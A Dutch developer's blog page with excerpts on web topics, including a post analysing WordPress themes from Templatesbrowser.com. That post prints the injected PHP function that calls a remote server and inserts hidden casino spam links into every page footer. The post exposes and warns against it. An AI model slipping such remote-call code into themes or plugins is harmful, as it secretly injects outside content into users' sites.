Uitgaande links werken niet meer? Google straft, maar niet onmiddellijk

Dat links vanaf andere websites naar jouw site zoveel mogelijk moeten kloppen, ja da’s tamelijk bekend. De Google Webmaster Tools geeft je een keurig overzichtje van welke externe links naar een niet-bestaande pagina op je site leiden. En te veel kapotte links gaan uiteindelijk ten koste van je Google-pagerank. Maar deze blogpost gaat over links in de omgekeerde richting: van jouw site naar andere sites. Ook daar kijkt Google heel kritisch naar, zo moest ik een jaar geleden zelf ervaren. Als je te veel andere websites linkt die niet meer bestaan, dan loop je uiteindelijk bezoekers via Google mis.

lees verder»

Drupal versus TYPO3: een vergelijking

Wie zich verdiept in de wereld van open-source contentmanagementsystemen, komt al snel bekende namen als WordPress, Joomla, Drupal en TYPO3 tegen. Vooral Drupal en TYPO3 worden vaak toegepast voor het wat steviger werk, bijvoorbeeld sites met veel subsites, met allerlei web 2.0-achtige toepassingen en met koppelingen met externe systemen. Tot op zekere hoogte worden ze voor dezelfde soort websites ingezet, maar ze zijn totaal verschillend. Welk systeem moet je kiezen? Met zowel TYPO3 als Drupal heb ik nu ruim een jaar praktijkervaring, allebei in de omroepwereld, respectievelijk bij VARA en NCRV. Hieronder mijn bevindingen als webontwikkelaar.

lees verder»

Een jaar ervaring met WordPress MU

Najaar 2008 maakte ik voor het eerst kennis met WordPress MU, na ruim een jaar wordt het tijd om mijn ervaringen op een rijtje te zetten.

lees verder»

Drupalcon Paris 2009

In de eerste week van september vond in Parijs de halfjaarlijkse Drupal-conferentie plaats. Zonder meer een inspirerend evenement! In deze blogpost een overzicht van de sessies die ik heb bijgewoond, inclusief links naar beeldmateriaal.

lees verder»

De nieuwe internetgeneratie: wel googelen, niet schrijven

“Een correcte zin schrijven, een foutloze brief of leesbare notulen: steeds meer Nederlanders kunnen het niet meer. Natuurlijk zijn wij blij als cursisten zich melden om bijgespijkerd te worden. Dat is ook omzet. Maar of je als samenleving blij moet zijn met een internetgeneratie die wel kan googelen maar niet kan schrijven, kun je je afvragen.”

Aldus Aukje Bergsma, voorzitter van de Vereniging Taleninstituten Nederland (VTN) in de Volkskrant.

BNR 2.0 bespaart u de onzin – en de kritische reacties

(update 10 oktober: BNR heeft de kritische reacties weer teruggezet)

Business Nieuws Radio was altijd een leuke zender om naar uit te wijken als het op zich uitstekende Radio 1 een net iets te lang praatprogramma uitzond. Maar sinds deze week niet meer. BNR heeft een vreselijke facelift ondergaan en noemt zichzelf nu BNR 2.0.

Planet-columnist Arjan Dasselaar veegt er de vloer mee aan en hekelt onder meer de weblog van BNR-directeur Paul van Gessel:

Maar de reacties op datzelfde blog zijn heel duidelijk: de nieuwe programmering is zowel qua vorm als inhoud een achteruitgang.

Maar als je op deze link klikt, dan zijn er helemaal geen reacties. Hoe kan dat? Even zoeken in de Google-cache en inderdaad: gisteren waren die reacties er nog wel. En zelfs een heleboel reacties, en nog behoorlijk kritisch ook.

Nu niet meer, want BNR heeft al die kritische reacties simpelweg verwijderd. En dan te bedenken dat de BNR-slogan is: BNR bespaart u de onzin.

Omdat alle reacties nu nog wel via de Google-cache zijn terug te vinden, maar over een paar dagen misschien niet meer, heb ik ze hieronder even geknipt en geplakt. Kunt u zelf nog eens nalezen wat de bezoekers ervan vonden.

lees verder»

Templatesbrowser.com en de blogosfeer

Het blijft altijd weer curieus hoe nieuws zich verspreidt over de hele wereld. Zo’n drie maanden ontdekte Onno’s Follow That Page een rare link in mijn site en had ik na drie kwartier speuren en puzzelen genoeg bewijsmateriaal verzameld om de boosdoener aan te wijzen: de website Templatesbrowser.com verspreidt kwaadaardige WordPress-themes.

Een enorme beveiligingsinbreuk, maar het door Onno vertaalde bericht werd totaal niet opgepikt door de blogosfeer, ook niet na berichtjes op Digg en eKudos. Nu toch wel: in juni kwamen Joomla-gebruikers erachter dat Templatesbrowser.com niet te vertrouwen is en via deze omweg begint nu ook eindelijk de WordPress-wereld wakker te worden, lees bijvoorbeeld dit en dit. Ook een nieuw berichtje op Digg krijgt volle aandacht: WARNING! WordPress & Joomla; your theme might have malicious code. Is het het woordje WARNING waardoor internetters er nu wel aandacht aan besteden?

Moderne slavernij bij Google

Gelezen in de Automatisering Gids:

Werknemers hebben vaak geen vaste werkplek en zeker geen eigen kantoor; veel bureaus staan zelfs in gangen opgesteld. Daarnaast is het gebruikelijk lange dagen te maken. In principe wordt men geacht toch zeker tot 12 uur ‘s avonds op e-mail te reageren, en het is niet ongebruikelijk om nachten door te werken.

Volgens het verslag lijkt de bedrijfscultuur bij Google sterk op het leven op een studentencampus, net als bij Microsoft in de begindagen. Het bedrijf heeft veel jonge mensen in dienst die zich bijna laten leven door het bedrijf. Dat gaat zo ver dat Google twee keer per week schone T-shirts laat aanrukken. Verder serveert het bedrijf drie keer per dag maaltijden, wat volgens de sollicitant zeker een gunstig effect heeft op de uren die mensen op kantoor maken.

Kortom: Google geeft je eten en kleren, en voor de rest moet je van ‘s ochtends vroeg tot ‘s avonds laat doorwerken. En toch staat het in alle geschiedenisboekjes: de slavernij in de VS is in 1863 afgeschaft.

Verborgen linkspam van Templatesbrowser.com in WordPress-weblogs

Vorige maand roemde ik op deze plek de duizenden gratis WordPress-themes die je kunt downloaden om je weblog op te tuigen. Maar pas op: dankzij broer Onno en zijn onvolprezen dienst Follow That Page ontdekte ik vanmiddag dat sommige themes ook iets anders doen: verborgen links toevoegen naar casino-, hotel- en andere sites – kortom linkspam. En dit is de site die daarvoor verantwoordelijk is: www.templatesbrowser.com/wordpress-themes/.

Hoe werkt Templatesbrowser.com?
Op deze site kun je meer dan honderd gratis WordPress-themes downloaden. Deze themes zijn weer afkomstig van andere sites, maar uit de tien willekeurige themes die ik heb gedownload blijkt dat er is een sneaky stukje PHP-code toegevoegd aan het bestand functions.php:

function credits()
{
$url = “http://get.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(“get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

Voor wie geen PHP kent: deze functie legt contact met get.templatesbrowser.com en geeft daarbij het adres van je eigen site mee. Bijvoorbeeld:

http://get.templatesbrowser.com/wp.php?url=%2F&host=www.laterna.nl

In mijn geval geeft de server de volgende code terug:

<div id=”copyl” style=”display: none;”><a href=”http://www.casinotropez.com/trcpromo-nincs-online-pmail18-fr”>casino en ligne</a></div>

Dit is de HTML-code van een link naar een site die ik niet ken en waar ik ook niets mee te maken wil hebben. Dankzij de CSS-toevoeging ‘display: none’ is die onzichtbaar opgemaakt. Deze code wordt onderaan elke WordPress-pagina toegevoegd. Dat gebeurt in het bestand footer.php:

<?php credits(); wp_footer(); ?>

Het geniepige is dat het contact met templatesbrowser.com alleen lijkt te werken vanuit een WordPress-weblog. Als ik bovenstaand webadres zelf invul in mijn browser, dan wordt er geen HTML-code teruggegeven.

Ook merk ik dat het uitmaakt op welk adres je weblog staat. Als ik urlencode($_SERVER['HTTP_HOST']) simpelweg vervang door www.google.com of www.startpagina.nl, dan wordt er geen verborgen link teruggegeven, maar helemaal niets, of iets onschuldigs als

<!– T-B –>

Ook zit er een random element in: als je op F5 drukt, verandert soms de code.

Een hogere PageRank?
Templatesbrowser.com doet dit klaarblijkelijk om sommige sites een hogere PageRank te bezorgen. Toch lijkt het me niet waarschijnlijk dat Google erin trapt. De manier waarop de link onzichtbaar is gemaakt (style=”display: none;”) is simpelweg té doorzichtig. Maar als Google inderdaad doorheeft dat het hier linkspam betreft, dan loopt de eigenaar van de weblog het risico om hiervoor gestraft te worden. Door de aard van PHP (een server-side scriptingtaal waarvan Google alleen de uitvoer ziet, niet de bron) is niet zichtbaar dat de betreffende HTML door een heel andere site wordt gegenereerd.

Het risico?
Uit het bovenstaande blijkt dat het downloaden van een WordPress-theme een zeker beveiligingsrisico inhoudt. Zoals gezegd bestaat zo’n theme niet alleen uit CSS-opmaak, maar ook uit extra PHP-code. Welke WordPress-gebruiker neemt de moeite om die meegeleverde PHP-code regel voor regel uit te vlooien alvorens een theme te installeren? PHP kan bovendien veel ernstiger dingen doen dan alleen maar een verborgen link in je site stoppen.

Al met al vind ik dit toch wel een belangrijk minpunt van WordPress. Voor zover ik kan nagaan, is het in Movable Type niet mogelijk om malicieuze code te stoppen in een template. Al met al lijkt de architectuur van WordPress meer op flexibiliteit gericht, minder op beveiliging.

Ziek door de informatiesamenleving

E-mails, telefoontjes en voicemails – ze maken ons alleen maar dommer. De psychiater Dr. Edward Hallowell heeft zelfs een nieuwe ziekte benoemd, die vooral in het bedrijfsleven welig tiert: ADT, ofwel Attention Deficit Trait. De symptomen:

When people find that they’re not working to their full potential; when they know that they could be producing more but in fact they’re producing less; when they know they’re smarter than their output shows; when they start answering questions in ways that are more superficial, more hurried than they usually would; when their reservoir of new ideas starts to run dry; when they find themselves working ever-longer hours and sleeping less, exercising less, spending free time with friends less and in general putting in more hours but getting less production overall.

En verderop:

It’s the great seduction of the information age. You can create the illusion of doing work and of being productive and creative when you’re not. You’re just treading water.

Meer bij News.com. En lees ook dit interview op Computerworld, waar hij enkele simpele remedies voorstelt. Zoals 25 jumping jacks, oftewel in de lucht springen met gespreide benen. Ha, dat wordt nog gezellig in de personeelskantine.

© Copyright Wessel Zweers - Designed by Pexeto - Photography: Alexandre Duret-Lutz